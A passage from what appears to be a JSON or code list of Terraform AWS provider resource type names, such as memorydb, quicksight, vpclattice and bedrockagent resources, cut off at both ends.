\"aws_cloud9_environment_membership\",\n        \"aws_cloudcontrolapi_resource\",\n        \"aws_cloudformation_type\",\n        \"aws_cloudfront_field_level_encryption_config\",\n        \"aws_cloudfront_field_level_encryption_profile\",\n        \"aws_cloudfront_function\",\n        \"aws_cloudfront_monitoring_subscription\",\n        \"aws_cloudfront_response_headers_policy\",\n        \"aws_cloudwatch_event_api_destination\",\n        \"aws_cloudwatch_event_bus_policy\",\n        \"aws_cloudwatch_event_connection\",\n        \"aws_cloudwatch_metric_stream\",\n        \"aws_codebuild_resource_policy\",\n        \"aws_codecommit_approval_rule_template\",\n        \"aws_codecommit_approval_rule_template_association\",\n        \"aws_codestarconnections_host\",\n        \"aws_config_organization_conformance_pack\",\n        \"aws_connect_bot_association\",\n        \"aws_connect_contact_flow\",\n        \"aws_connect_hours_of_operation\",\n        \"aws_connect_instance\",\n        \"aws_connect_lambda_function_association\",\n        \"aws_datasync_location_fsx_lustre_file_system\",\n        \"aws_datasync_location_hdfs\",\n        \"aws_db_proxy_endpoint\",\n        \"aws_detective_graph\",\n        \"aws_devicefarm_device_pool\",\n        \"aws_devicefarm_network_profile\",\n        \"aws_devicefarm_upload\",\n        \"aws_docdb_global_cluster\",\n        \"aws_dx_connection_confirmation\",\n        \"aws_dx_hosted_connection\",\n        \"aws_dynamodb_kinesis_streaming_destination\",\n        \"aws_dynamodb_tag\",\n        \"aws_ebs_snapshot_import\",\n        \"aws_ec2_host\",\n        \"aws_ec2_managed_prefix_list_entry\",\n        \"aws_ec2_subnet_cidr_reservation\",\n        \"aws_ecr_pull_through_cache_rule\",\n        \"aws_ecr_registry_scanning_configuration\",\n        \"aws_ecrpublic_repository_policy\",\n        \"aws_ecs_account_setting_default\",\n        \"aws_ecs_tag\",\n        \"aws_ecs_task_set\",\n        \"aws_efs_backup_policy\",\n        \"aws_eks_identity_provider_config\",\n        \"aws_elasticache_user\",\n        \"aws_elasticache_user_group\",\n        \"aws_elasticsearch_domain_saml_options\",\n        \"aws_emr_studio\",\n        \"aws_emr_studio_session_mapping\",\n        \"aws_fsx_backup\",\n        \"aws_fsx_ontap_file_system\",\n        \"aws_fsx_ontap_storage_virtual_machine\",\n        \"aws_fsx_ontap_volume\",\n        \"aws_fsx_openzfs_file_system\",\n        \"aws_fsx_openzfs_snapshot\",\n        \"aws_fsx_openzfs_volume\",\n        \"aws_glue_partition_index\",\n        \"aws_iot_authorizer\",\n        \"aws_iot_thing_group\",\n        \"aws_iot_thing_group_membership\",\n        \"aws_kms_replica_external_key\",\n        \"aws_kms_replica_key\",\n        \"aws_lambda_layer_version_permission\",\n        \"aws_macie2_account\",\n        \"aws_macie2_classification_job\",\n        \"aws_macie2_custom_data_identifier\",\n        \"aws_macie2_findings_filter\",\n        \"aws_macie2_invitation_accepter\",\n        \"aws_macie2_member\",\n        \"aws_macie2_organization_admin_account\",\n        \"aws_memorydb_acl\",\n        \"aws_memorydb_cluster\",\n        \"aws_memorydb_parameter_group\",\n        \"aws_memorydb_subnet_group\",\n        \"aws_memorydb_user\",\n        \"aws_mskconnect_custom_plugin\",\n        \"aws_mskconnect_worker_configuration\",\n        \"aws_neptune_cluster_endpoint\",\n        \"aws_organizations_delegated_administrator\",\n        \"aws_prometheus_alert_manager_definition\",\n        \"aws_prometheus_rule_group_namespace\",\n        \"aws_quicksight_data_source\",\n        \"aws_quicksight_group_membership\",\n        \"aws_rds_cluster_role_association\",\n        \"aws_redshift_scheduled_action\",\n        \"aws_route53_resolver_firewall_config\",\n        \"aws_route53_resolver_firewall_rule\",\n        \"aws_route53_resolver_firewall_rule_group_association\",\n        \"aws_route53recoverycontrolconfig_cluster\",\n        \"aws_route53recoverycontrolconfig_control_panel\",\n        \"aws_route53recoverycontrolconfig_routing_control\",\n        \"aws_route53recoverycontrolconfig_safety_rule\",\n        \"aws_route53recoveryreadiness_cell\",\n        \"aws_route53recoveryreadiness_readiness_check\",\n        \"aws_route53recoveryreadiness_recovery_group\",\n        \"aws_route53recoveryreadiness_resource_set\",\n        \"aws_s3_bucket_intelligent_tiering_configuration\",\n        \"aws_s3_bucket_replication_configuration\",\n        \"aws_s3control_access_point_policy\",\n        \"aws_s3control_multi_region_access_point\",\n        \"aws_s3control_multi_region_access_point_policy\",\n        \"aws_s3control_object_lambda_access_point\",\n        \"aws_s3control_object_lambda_access_point_policy\",\n        \"aws_sagemaker_device\",\n        \"aws_sagemaker_device_fleet\",\n        \"aws_sagemaker_flow_definition\",\n        \"aws_sagemaker_human_task_ui\",\n        \"aws_sagemaker_model_package_group_policy\",\n        \"aws_sagemaker_studio_lifecycle_config\",\n        \"aws_sagemaker_workforce\",\n        \"aws_sagemaker_workteam\",\n        \"aws_schemas_discoverer\",\n        \"aws_schemas_registry\",\n        \"aws_schemas_schema\",\n        \"aws_securityhub_finding_aggregator\",\n        \"aws_securityhub_organization_configuration\",\n        \"aws_securityhub_standards_control\",\n        \"aws_service_discovery_instance\",\n        \"aws_servicecatalog_budget_resource_association\",\n        \"aws_servicecatalog_constraint\",\n        \"aws_servicecatalog_organizations_access\",\n        \"aws_servicecatalog_portfolio_share\",\n        \"aws_servicecatalog_principal_portfolio_association\",\n        \"aws_servicecatalog_product\",\n        \"aws_servicecatalog_product_portfolio_association\",\n        \"aws_servicecatalog_provisioned_product\",\n        \"aws_servicecatalog_provisioning_artifact\",\n        \"aws_servicecatalog_service_action\",\n        \"aws_servicecatalog_tag_option\",\n        \"aws_servicecatalog_tag_option_resource_association\",\n        \"aws_shield_protection_group\",\n        \"aws_storagegateway_file_system_association\",\n        \"aws_timestreamwrite_table\",\n        \"aws_transfer_access\",\n        \"aws_vpc_endpoint_connection_accepter\",\n        \"aws_vpc_ipam\",\n        \"aws_vpc_ipam_organization_admin_account\",\n        \"aws_vpc_ipam_pool\",\n        \"aws_vpc_ipam_pool_cidr\",\n        \"aws_vpc_ipam_pool_cidr_allocation\",\n        \"aws_vpc_ipam_preview_next_cidr\",\n        \"aws_vpc_ipam_scope\",\n        \"aws_vpc_ipv6_cidr_block_association\",\n        \"aws_accessanalyzer_archive_rule\",\n        \"aws_acmpca_policy\",\n        \"aws_appflow_connector_profile\",\n        \"aws_appflow_flow\",\n        \"aws_appintegrations_event_integration\",\n        \"aws_applicationinsights_application\",\n        \"aws_apprunner_observability_configuration\",\n        \"aws_apprunner_vpc_connector\",\n        \"aws_appsync_api_cache\",\n        \"aws_appsync_domain_name\",\n        \"aws_appsync_domain_name_api_association\",\n        \"aws_athena_data_catalog\",\n        \"aws_backup_framework\",\n        \"aws_backup_report_plan\",\n        \"aws_ce_anomaly_monitor\",\n        \"aws_ce_anomaly_subscription\",\n        \"aws_ce_cost_allocation_tag\",\n        \"aws_ce_cost_category\",\n        \"aws_cloudsearch_domain\",\n        \"aws_cloudsearch_domain_service_access_policy\",\n        \"aws_cloudtrail_event_data_store\",\n        \"aws_cognito_identity_pool_provider_principal_tag\",\n        \"aws_cognito_risk_configuration\",\n        \"aws_cognito_user\",\n        \"aws_cognito_user_in_group\",\n        \"aws_connect_contact_flow_module\",\n        \"aws_connect_queue\",\n        \"aws_connect_quick_connect\",\n        \"aws_connect_routing_profile\",\n        \"aws_connect_security_profile\",\n        \"aws_connect_user\",\n        \"aws_connect_user_hierarchy_group\",\n        \"aws_connect_user_hierarchy_structure\",\n        \"aws_connect_vocabulary\",\n        \"aws_dataexchange_data_set\",\n        \"aws_dataexchange_revision\",\n        \"aws_datapipeline_pipeline_definition\",\n        \"aws_datasync_location_fsx_openzfs_file_system\",\n        \"aws_db_instance_automated_backups_replication\",\n        \"aws_db_snapshot_copy\",\n        \"aws_detective_invitation_accepter\",\n        \"aws_detective_member\",\n        \"aws_devicefarm_instance_profile\",\n        \"aws_devicefarm_test_grid_project\",\n        \"aws_directory_service_shared_directory\",\n        \"aws_directory_service_shared_directory_accepter\",\n        \"aws_docdb_event_subscription\",\n        \"aws_dynamodb_contributor_insights\",\n        \"aws_ec2_network_insights_path\",\n        \"aws_ec2_serial_console_access\",\n        \"aws_ec2_transit_gateway_connect\",\n        \"aws_ec2_transit_gateway_connect_peer\",\n        \"aws_ec2_transit_gateway_multicast_domain\",\n        \"aws_ec2_transit_gateway_multicast_domain_association\",\n        \"aws_ec2_transit_gateway_multicast_group_member\",\n        \"aws_ec2_transit_gateway_multicast_group_source\",\n        \"aws_ecs_cluster_capacity_providers\",\n        \"aws_efs_replication_configuration\",\n        \"aws_elasticache_user_group_association\",\n        \"aws_emrcontainers_virtual_cluster\",\n        \"aws_emrserverless_application\",\n        \"aws_fis_experiment_template\",\n        \"aws_fsx_data_repository_association\",\n        \"aws_gamelift_game_server_group\",\n        \"aws_gamelift_script\",\n        \"aws_grafana_license_association\",\n        \"aws_grafana_role_association\",\n        \"aws_grafana_workspace\",\n        \"aws_grafana_workspace_saml_configuration\",\n        \"aws_iam_service_specific_credential\",\n        \"aws_iam_signing_certificate\",\n        \"aws_iam_virtual_mfa_device\",\n        \"aws_imagebuilder_container_recipe\",\n        \"aws_internet_gateway_attachment\",\n        \"aws_iot_indexing_configuration\",\n        \"aws_iot_logging_options\",\n        \"aws_iot_provisioning_template\",\n        \"aws_iot_topic_rule_destination\",\n        \"aws_kendra_experience\",\n        \"aws_kendra_faq\",\n        \"aws_kendra_index\",\n        \"aws_kendra_query_suggestions_block_list\",\n        \"aws_kendra_thesaurus\",\n        \"aws_keyspaces_keyspace\",\n        \"aws_keyspaces_table\",\n        \"aws_lakeformation_lf_tag\",\n        \"aws_lakeformation_resource_lf_tags\",\n        \"aws_lambda_function_url\",\n        \"aws_lambda_invocation\",\n        \"aws_lightsail_container_service\",\n        \"aws_lightsail_container_service_deployment_version\",\n        \"aws_lightsail_database\",\n        \"aws_location_geofence_collection\",\n        \"aws_location_map\",\n        \"aws_location_place_index\",\n        \"aws_location_route_calculator\",\n        \"aws_location_tracker\",\n        \"aws_memorydb_snapshot\",\n        \"aws_mskconnect_connector\",\n        \"aws_network_acl_association\",\n        \"aws_networkmanager_connection\",\n        \"aws_networkmanager_customer_gateway_association\",\n        \"aws_networkmanager_device\",\n        \"aws_networkmanager_global_network\",\n        \"aws_networkmanager_link\",\n        \"aws_networkmanager_link_association\",\n        \"aws_networkmanager_site\",\n        \"aws_networkmanager_transit_gateway_connect_peer_association\",\n        \"aws_networkmanager_transit_gateway_registration\",\n        \"aws_opensearch_domain\",\n        \"aws_opensearch_domain_policy\",\n        \"aws_opensearch_domain_saml_options\",\n        \"aws_opsworks_ecs_cluster_layer\",\n        \"aws_qldb_stream\",\n        \"aws_rds_cluster_activity_stream\",\n        \"aws_redshift_authentication_profile\",\n        \"aws_redshift_cluster_iam_roles\",\n        \"aws_redshift_endpoint_access\",\n        \"aws_redshift_hsm_client_certificate\",\n        \"aws_redshift_hsm_configuration\",\n        \"aws_redshift_usage_limit\",\n        \"aws_redshiftdata_statement\",\n        \"aws_redshiftserverless_namespace\",\n        \"aws_rolesanywhere_profile\",\n        \"aws_rolesanywhere_trust_anchor\",\n        \"aws_route53_traffic_policy\",\n        \"aws_route53_traffic_policy_instance\",\n        \"aws_route53domains_registered_domain\",\n        \"aws_rum_app_monitor\",\n        \"aws_s3_bucket_accelerate_configuration\",\n        \"aws_s3_bucket_acl\",\n        \"aws_s3_bucket_cors_configuration\",\n        \"aws_s3_bucket_lifecycle_configuration\",\n        \"aws_s3_bucket_logging\",\n        \"aws_s3_bucket_object_lock_configuration\",\n        \"aws_s3_bucket_request_payment_configuration\",\n        \"aws_s3_bucket_server_side_encryption_configuration\",\n        \"aws_s3_bucket_versioning\",\n        \"aws_s3_bucket_website_configuration\",\n        \"aws_s3_object\",\n        \"aws_sagemaker_project\",\n        \"aws_shield_protection_health_check_association\",\n        \"aws_transcribe_medical_vocabulary\",\n        \"aws_transcribe_vocabulary\",\n        \"aws_transcribe_vocabulary_filter\",\n        \"aws_transfer_workflow\",\n        \"aws_vpc_endpoint_policy\",\n        \"aws_vpc_endpoint_security_group_association\",\n        \"aws_acmpca_permission\",\n        \"aws_appconfig_extension\",\n        \"aws_appconfig_extension_association\",\n        \"aws_apprunner_vpc_ingress_connection\",\n        \"aws_auditmanager_account_registration\",\n        \"aws_auditmanager_control\",\n        \"aws_auditmanager_framework\",\n        \"aws_cloudfront_origin_access_control\",\n        \"aws_cloudwatch_log_data_protection_policy\",\n        \"aws_codepipeline_custom_action_type\",\n        \"aws_comprehend_document_classifier\",\n        \"aws_comprehend_entity_recognizer\",\n        \"aws_connect_instance_storage_config\",\n        \"aws_connect_phone_number\",\n        \"aws_controltower_control\",\n        \"aws_directory_service_radius_settings\",\n        \"aws_directory_service_region\",\n        \"aws_dms_s3_endpoint\",\n        \"aws_dx_macsec_key_association\",\n        \"aws_dynamodb_table_replica\",\n        \"aws_ec2_network_insights_analysis\",\n        \"aws_ec2_transit_gateway_policy_table\",\n        \"aws_ec2_transit_gateway_policy_table_association\",\n        \"aws_evidently_feature\",\n        \"aws_evidently_project\",\n        \"aws_evidently_segment\",\n        \"aws_fsx_file_cache\",\n        \"aws_grafana_workspace_api_key\",\n        \"aws_identitystore_group\",\n        \"aws_identitystore_group_membership\",\n        \"aws_identitystore_user\",\n        \"aws_inspector2_delegated_admin_account\",\n        \"aws_inspector2_enabler\",\n        \"aws_inspector2_organization_configuration\",\n        \"aws_ivs_channel\",\n        \"aws_ivs_playback_key_pair\",\n        \"aws_ivs_recording_configuration\",\n        \"aws_ivschat_logging_configuration\",\n        \"aws_ivschat_room\",\n        \"aws_kendra_data_source\",\n        \"aws_kms_custom_key_store\",\n        \"aws_lightsail_certificate\",\n        \"aws_lightsail_disk\",\n        \"aws_lightsail_disk_attachment\",\n        \"aws_lightsail_domain_entry\",\n        \"aws_lightsail_lb\",\n        \"aws_lightsail_lb_attachment\",\n        \"aws_lightsail_lb_certificate\",\n        \"aws_lightsail_lb_certificate_attachment\",\n        \"aws_lightsail_lb_https_redirection_policy\",\n        \"aws_lightsail_lb_stickiness_policy\",\n        \"aws_location_tracker_association\",\n        \"aws_macie2_classification_export_configuration\",\n        \"aws_medialive_channel\",\n        \"aws_medialive_input\",\n        \"aws_medialive_input_security_group\",\n        \"aws_medialive_multiplex\",\n        \"aws_medialive_multiplex_program\",\n        \"aws_msk_serverless_cluster\",\n        \"aws_neptune_global_cluster\",\n        \"aws_networkmanager_attachment_accepter\",\n        \"aws_networkmanager_connect_attachment\",\n        \"aws_networkmanager_core_network\",\n        \"aws_networkmanager_site_to_site_vpn_attachment\",\n        \"aws_networkmanager_transit_gateway_peering\",\n        \"aws_networkmanager_transit_gateway_route_table_attachment\",\n        \"aws_networkmanager_vpc_attachment\",\n        \"aws_opensearch_inbound_connection_accepter\",\n        \"aws_opensearch_outbound_connection\",\n        \"aws_rds_reserved_instance\",\n        \"aws_redshift_endpoint_authorization\",\n        \"aws_redshift_partner\",\n        \"aws_redshiftserverless_endpoint_access\",\n        \"aws_redshiftserverless_resource_policy\",\n        \"aws_redshiftserverless_snapshot\",\n        \"aws_redshiftserverless_usage_limit\",\n        \"aws_redshiftserverless_workgroup\",\n        \"aws_resourceexplorer2_index\",\n        \"aws_route53_resolver_config\",\n        \"aws_rum_metrics_destination\",\n        \"aws_s3control_storage_lens_configuration\",\n        \"aws_sagemaker_servicecatalog_portfolio_status\",\n        \"aws_sagemaker_space\",\n        \"aws_scheduler_schedule\",\n        \"aws_scheduler_schedule_group\",\n        \"aws_schemas_registry_policy\",\n        \"aws_sesv2_configuration_set\",\n        \"aws_sesv2_dedicated_ip_assignment\",\n        \"aws_sesv2_dedicated_ip_pool\",\n        \"aws_sesv2_email_identity\",\n        \"aws_sesv2_email_identity_feedback_attributes\",\n        \"aws_sesv2_email_identity_mail_from_attributes\",\n        \"aws_sqs_queue_redrive_allow_policy\",\n        \"aws_sqs_queue_redrive_policy\",\n        \"aws_ssm_default_patch_baseline\",\n        \"aws_ssm_service_setting\",\n        \"aws_ssoadmin_customer_managed_policy_attachment\",\n        \"aws_ssoadmin_permissions_boundary_attachment\",\n        \"aws_transcribe_language_model\",\n        \"aws_transfer_tag\",\n        \"aws_vpc_network_performance_metric_subscription\",\n        \"aws_account_primary_contact\",\n        \"aws_apprunner_default_auto_scaling_configuration_version\",\n        \"aws_appsync_type\",\n        \"aws_athena_prepared_statement\",\n        \"aws_auditmanager_assessment\",\n        \"aws_auditmanager_assessment_delegation\",\n        \"aws_auditmanager_assessment_report\",\n        \"aws_auditmanager_framework_share\",\n        \"aws_auditmanager_organization_admin_account_registration\",\n        \"aws_autoscaling_traffic_source_attachment\",\n        \"aws_bedrock_model_invocation_logging_configuration\",\n        \"aws_chimesdkmediapipelines_media_insights_pipeline_configuration\",\n        \"aws_chimesdkvoice_global_settings\",\n        \"aws_chimesdkvoice_sip_media_application\",\n        \"aws_chimesdkvoice_sip_rule\",\n        \"aws_chimesdkvoice_voice_profile_domain\",\n        \"aws_cleanrooms_collaboration\",\n        \"aws_cleanrooms_configured_table\",\n        \"aws_cloudfront_continuous_deployment_policy\",\n        \"aws_cloudwatch_event_endpoint\",\n        \"aws_codecatalyst_dev_environment\",\n        \"aws_codecatalyst_project\",\n        \"aws_codecatalyst_source_repository\",\n        \"aws_codeguruprofiler_profiling_group\",\n        \"aws_codegurureviewer_repository_association\",\n        \"aws_cognito_managed_user_pool_client\",\n        \"aws_config_organization_custom_policy_rule\",\n        \"aws_customerprofiles_domain\",\n        \"aws_customerprofiles_profile\",\n        \"aws_datasync_location_azure_blob\",\n        \"aws_datasync_location_fsx_ontap_file_system\",\n        \"aws_datasync_location_object_storage\",\n        \"aws_detective_organization_admin_account\",\n        \"aws_detective_organization_configuration\",\n        \"aws_directory_service_trust\",\n        \"aws_dms_replication_config\",\n        \"aws_docdbelastic_cluster\",\n        \"aws_ebs_fast_snapshot_restore\",\n        \"aws_ec2_image_block_public_access\",\n        \"aws_ec2_instance_connect_endpoint\",\n        \"aws_ec2_instance_state\",\n        \"aws_eks_access_entry\",\n        \"aws_eks_access_policy_association\",\n        \"aws_eks_pod_identity_association\",\n        \"aws_elasticache_serverless_cache\",\n        \"aws_elasticsearch_vpc_endpoint\",\n        \"aws_emr_block_public_access_configuration\",\n        \"aws_emrcontainers_job_template\",\n        \"aws_evidently_launch\",\n        \"aws_finspace_kx_cluster\",\n        \"aws_finspace_kx_database\",\n        \"aws_finspace_kx_dataview\",\n        \"aws_finspace_kx_environment\",\n        \"aws_finspace_kx_scaling_group\",\n        \"aws_finspace_kx_user\",\n        \"aws_finspace_kx_volume\",\n        \"aws_globalaccelerator_custom_routing_accelerator\",\n        \"aws_globalaccelerator_custom_routing_endpoint_group\",\n        \"aws_globalaccelerator_custom_routing_listener\",\n        \"aws_glue_data_quality_ruleset\",\n        \"aws_guardduty_detector_feature\",\n        \"aws_guardduty_organization_configuration_feature\",\n        \"aws_iam_security_token_service_preferences\",\n        \"aws_imagebuilder_workflow\",\n        \"aws_inspector2_member_association\",\n        \"aws_internetmonitor_monitor\",\n        \"aws_iot_billing_group\",\n        \"aws_iot_ca_certificate\",\n        \"aws_iot_domain_configuration\",\n        \"aws_iot_event_configurations\",\n        \"aws_kinesis_resource_policy\",\n        \"aws_kms_key_policy\",\n        \"aws_lb_trust_store\",\n        \"aws_lb_trust_store_revocation\",\n        \"aws_lexv2models_bot\",\n        \"aws_lexv2models_bot_locale\",\n        \"aws_lexv2models_bot_version\",\n        \"aws_lexv2models_intent\",\n        \"aws_licensemanager_grant\",\n        \"aws_licensemanager_grant_accepter\",\n        \"aws_lightsail_bucket\",\n        \"aws_lightsail_bucket_access_key\",\n        \"aws_lightsail_bucket_resource_access\",\n        \"aws_lightsail_distribution\",\n        \"aws_msk_cluster_policy\",\n        \"aws_msk_replicator\",\n        \"aws_msk_vpc_connection\",\n        \"aws_networkmanager_connect_peer\",\n        \"aws_networkmanager_core_network_policy_attachment\",\n        \"aws_oam_link\",\n        \"aws_oam_sink\",\n        \"aws_oam_sink_policy\",\n        \"aws_opensearch_package\",\n        \"aws_opensearch_package_association\",\n        \"aws_opensearch_vpc_endpoint\",\n        \"aws_opensearchserverless_access_policy\",\n        \"aws_opensearchserverless_collection\",\n        \"aws_opensearchserverless_lifecycle_policy\",\n        \"aws_opensearchserverless_security_config\",\n        \"aws_opensearchserverless_security_policy\",\n        \"aws_opensearchserverless_vpc_endpoint\",\n        \"aws_organizations_resource_policy\",\n        \"aws_pipes_pipe\",\n        \"aws_prometheus_scraper\",\n        \"aws_quicksight_folder\",\n        \"aws_quicksight_folder_membership\",\n        \"aws_quicksight_vpc_connection\",\n        \"aws_ram_sharing_with_organization\",\n        \"aws_rbin_rule\",\n        \"aws_rds_custom_db_engine_version\",\n        \"aws_rds_export_task\",\n        \"aws_redshift_cluster_snapshot\",\n        \"aws_redshift_resource_policy\",\n        \"aws_resourceexplorer2_view\",\n        \"aws_resourcegroups_resource\",\n        \"aws_route53_cidr_collection\",\n        \"aws_route53_cidr_location\",\n        \"aws_s3_directory_bucket\",\n        \"aws_s3control_access_grant\",\n        \"aws_s3control_access_grants_instance\",\n        \"aws_s3control_access_grants_instance_resource_policy\",\n        \"aws_s3control_access_grants_location\",\n        \"aws_sagemaker_data_quality_job_definition\",\n        \"aws_sagemaker_monitoring_schedule\",\n        \"aws_sagemaker_pipeline\",\n        \"aws_securitylake_aws_log_source\",\n        \"aws_securitylake_data_lake\",\n        \"aws_servicequotas_template\",\n        \"aws_servicequotas_template_association\",\n        \"aws_sesv2_account_vdm_attributes\",\n        \"aws_sesv2_configuration_set_event_destination\",\n        \"aws_sesv2_contact_list\",\n        \"aws_sfn_alias\",\n        \"aws_shield_application_layer_automatic_response\",\n        \"aws_shield_drt_access_log_bucket_association\",\n        \"aws_shield_drt_access_role_arn_association\",\n        \"aws_sns_topic_data_protection_policy\",\n        \"aws_ssmcontacts_contact\",\n        \"aws_ssmcontacts_contact_channel\",\n        \"aws_ssmcontacts_plan\",\n        \"aws_ssmincidents_replication_set\",\n        \"aws_ssmincidents_response_plan\",\n        \"aws_ssoadmin_application\",\n        \"aws_ssoadmin_application_access_scope\",\n        \"aws_ssoadmin_application_assignment\",\n        \"aws_ssoadmin_application_assignment_configuration\",\n        \"aws_ssoadmin_instance_access_control_attributes\",\n        \"aws_ssoadmin_trusted_token_issuer\",\n        \"aws_synthetics_group\",\n        \"aws_synthetics_group_association\",\n        \"aws_transfer_agreement\",\n        \"aws_transfer_certificate\",\n        \"aws_transfer_connector\",\n        \"aws_transfer_profile\",\n        \"aws_verifiedaccess_endpoint\",\n        \"aws_verifiedaccess_group\",\n        \"aws_verifiedaccess_instance\",\n        \"aws_verifiedaccess_instance_logging_configuration\",\n        \"aws_verifiedaccess_instance_trust_provider_attachment\",\n        \"aws_verifiedaccess_trust_provider\",\n        \"aws_verifiedpermissions_policy_store\",\n        \"aws_verifiedpermissions_policy_template\",\n        \"aws_verifiedpermissions_schema\",\n        \"aws_vpc_ipam_resource_discovery\",\n        \"aws_vpc_ipam_resource_discovery_association\",\n        \"aws_vpc_security_group_egress_rule\",\n        \"aws_vpc_security_group_ingress_rule\",\n        \"aws_vpclattice_access_log_subscription\",\n        \"aws_vpclattice_auth_policy\",\n        \"aws_vpclattice_listener\",\n        \"aws_vpclattice_listener_rule\",\n        \"aws_vpclattice_resource_policy\",\n        \"aws_vpclattice_service\",\n        \"aws_vpclattice_service_network\",\n        \"aws_vpclattice_service_network_service_association\",\n        \"aws_vpclattice_service_network_vpc_association\",\n        \"aws_vpclattice_target_group\",\n        \"aws_vpclattice_target_group_attachment\",\n        \"aws_workspaces_connection_alias\",\n        \"aws_az_info\",\n        \"aws_caller_info\",\n        \"aws_region_info\",\n        \"aws_bedrockagent_agent\",\n        \"aws_account_region\",\n        \"aws_api_gateway_domain_name_access_association\",\n        \"aws_appfabric_app_authorization\",\n        \"aws_appfabric_app_authorization_connection\",\n        \"aws_appfabric_app_bundle\",\n        \"aws_appfabric_ingestion\",\n        \"aws_appfabric_ingestion_destination\",\n        \"aws_appintegrations_data_integration\",\n        \"aws_apprunner_deployment\",\n        \"aws_appsync_source_api_association\",\n        \"aws_backup_logically_air_gapped_vault\",\n        \"aws_backup_restore_testing_plan\",\n        \"aws_backup_restore_testing_selection\",\n        \"aws_bcmdataexports_export\",\n        \"aws_bedrock_custom_model\",\n        \"aws_bedrock_guardrail\",\n        \"aws_bedrock_guardrail_version\",\n        \"aws_bedrock_inference_profile\",\n        \"aws_bedrock_provisioned_model_throughput\",\n        \"aws_bedrockagent_agent_action_group\",\n        \"aws_bedrockagent_agent_alias\",\n        \"aws_bedrockagent_agent_collaborator\",\n        \"aws_bedrockagent_agent_knowledge_base_association\",\n        \"aws_bedrockagent_data_source\",\n        \"aws_bedrockagent_knowledge_base\",\n        \"aws_chatbot_slack_channel_configuration\",\n        \"aws_chatbot_teams_channel_configuration\",\n        \"aws_cleanrooms_membership\",\n        \"aws_cloudformation_stack_instances\",\n        \"aws_cloudfront_key_value_store\",\n        \"aws_cloudfront_vpc_origin\",\n        \"aws_cloudfrontkeyvaluestore_key\",\n        \"aws_cloudtrail_organization_delegated_admin_account\",\n        \"aws_cloudwatch_log_account_policy\",\n        \"aws_cloudwatch_log_anomaly_detector\",\n        \"aws_cloudwatch_log_delivery\",\n        \"aws_cloudwatch_log_delivery_destination\",\n        \"aws_cloudwatch_log_delivery_destination_policy\",\n        \"aws_cloudwatch_log_delivery_source\",\n        \"aws_cloudwatch_log_index_policy\",\n        \"aws_codebuild_fleet\",\n        \"aws_codeconnections_connection\",\n        \"aws_codeconnections_host\",\n        \"aws_computeoptimizer_enrollment_status\",\n        \"aws_computeoptimizer_recommendation_preferences\",\n        \"aws_config_retention_configuration\",\n        \"aws_controltower_landing_zone\",\n        \"aws_costoptimizationhub_enrollment_status\",\n        \"aws_costoptimizationhub_preferences\",\n        \"aws_datazone_asset_type\",\n        \"aws_datazone_domain\",\n        \"aws_datazone_environment\",\n        \"aws_datazone_environment_blueprint_configuration\",\n        \"aws_datazone_environment_profile\",\n        \"aws_datazone_form_type\",\n        \"aws_datazone_glossary\",\n        \"aws_datazone_glossary_term\",\n        \"aws_datazone_project\",\n        \"aws_datazone_user_profile\",\n        \"aws_devopsguru_event_sources_config\",\n        \"aws_devopsguru_notification_channel\",\n        \"aws_devopsguru_resource_collection\",\n        \"aws_devopsguru_service_integration\",\n        \"aws_drs_replication_configuration_template\",\n        \"aws_dynamodb_resource_policy\",\n        \"aws_dynamodb_table_export\",\n        \"aws_ebs_snapshot_block_public_access\",\n        \"aws_ec2_capacity_block_reservation\",\n        \"aws_ec2_instance_metadata_defaults\",\n        \"aws_ec2_transit_gateway_default_route_table_association\",\n        \"aws_ec2_transit_gateway_default_route_table_propagation\",\n        \"aws_ecr_account_setting\",\n        \"aws_ecr_repository_creation_template\",\n        \"aws_eip_domain_name\",\n        \"aws_elasticache_reserved_cache_node\",\n        \"aws_fms_resource_set\",\n        \"aws_globalaccelerator_cross_account_attachment\",\n        \"aws_glue_catalog_table_optimizer\",\n        \"aws_grafana_workspace_service_account\",\n        \"aws_grafana_workspace_service_account_token\",\n        \"aws_guardduty_malware_protection_plan\",\n        \"aws_guardduty_member_detector_feature\",\n        \"aws_iam_group_policies_exclusive\",\n        \"aws_iam_group_policy_attachments_exclusive\",\n        \"aws_iam_organizations_features\",\n        \"aws_iam_role_policies_exclusive\",\n        \"aws_iam_role_policy_attachments_exclusive\",\n        \"aws_iam_user_policies_exclusive\",\n        \"aws_iam_user_policy_attachments_exclusive\",\n        \"aws_imagebuilder_lifecycle_policy\",\n        \"aws_lakeformation_data_cells_filter\",\n        \"aws_lakeformation_resource_lf_tag\",\n        \"aws_lambda_function_recursion_config\",\n        \"aws_lambda_runtime_management_config\",\n        \"aws_lexv2models_slot\",\n        \"aws_lexv2models_slot_type\",\n        \"aws_m2_application\",\n        \"aws_m2_deployment\",\n        \"aws_m2_environment\",\n        \"aws_media_packagev2_channel_group\",\n        \"aws_memorydb_multi_region_cluster\",\n        \"aws_msk_single_scram_secret_association\",\n        \"aws_networkfirewall_tls_inspection_configuration\",\n        \"aws_networkmanager_dx_gateway_attachment\",\n        \"aws_networkmonitor_monitor\",\n        \"aws_networkmonitor_probe\",\n        \"aws_opensearch_authorize_vpc_endpoint_access\",\n        \"aws_osis_pipeline\",\n        \"aws_paymentcryptography_key\",\n        \"aws_paymentcryptography_key_alias\",\n        \"aws_pinpoint_email_template\",\n        \"aws_pinpointsmsvoicev2_configuration_set\",\n        \"aws_pinpointsmsvoicev2_opt_out_list\",\n        \"aws_pinpointsmsvoicev2_phone_number\",\n        \"aws_quicksight_account_subscription\",\n        \"aws_quicksight_analysis\",\n        \"aws_quicksight_dashboard\",\n        \"aws_quicksight_data_set\",\n        \"aws_quicksight_iam_policy_assignment\",\n        \"aws_quicksight_ingestion\",\n        \"aws_quicksight_namespace\",\n        \"aws_quicksight_refresh_schedule\",\n        \"aws_quicksight_template\",\n        \"aws_quicksight_template_alias\",\n        \"aws_quicksight_theme\",\n        \"aws_rds_certificate\",\n        \"aws_rds_cluster_snapshot_copy\",\n        \"aws_rds_instance_state\",\n        \"aws_rds_integration\",\n        \"aws_redshift_data_share_authorization\",\n        \"aws_redshift_data_share_consumer_association\",\n        \"aws_redshift_logging\",\n        \"aws_redshift_snapshot_copy\",\n        \"aws_redshiftserverless_custom_domain_association\",\n        \"aws_rekognition_collection\",\n        \"aws_rekognition_project\",\n        \"aws_rekognition_stream_processor\",\n        \"aws_resiliencehub_resiliency_policy\",\n        \"aws_route53domains_delegation_signer_record\",\n        \"aws_route53domains_domain\",\n        \"aws_route53profiles_association\",\n        \"aws_route53profiles_profile\",\n        \"aws_route53profiles_resource_association\",\n        \"aws_s3tables_namespace\",\n        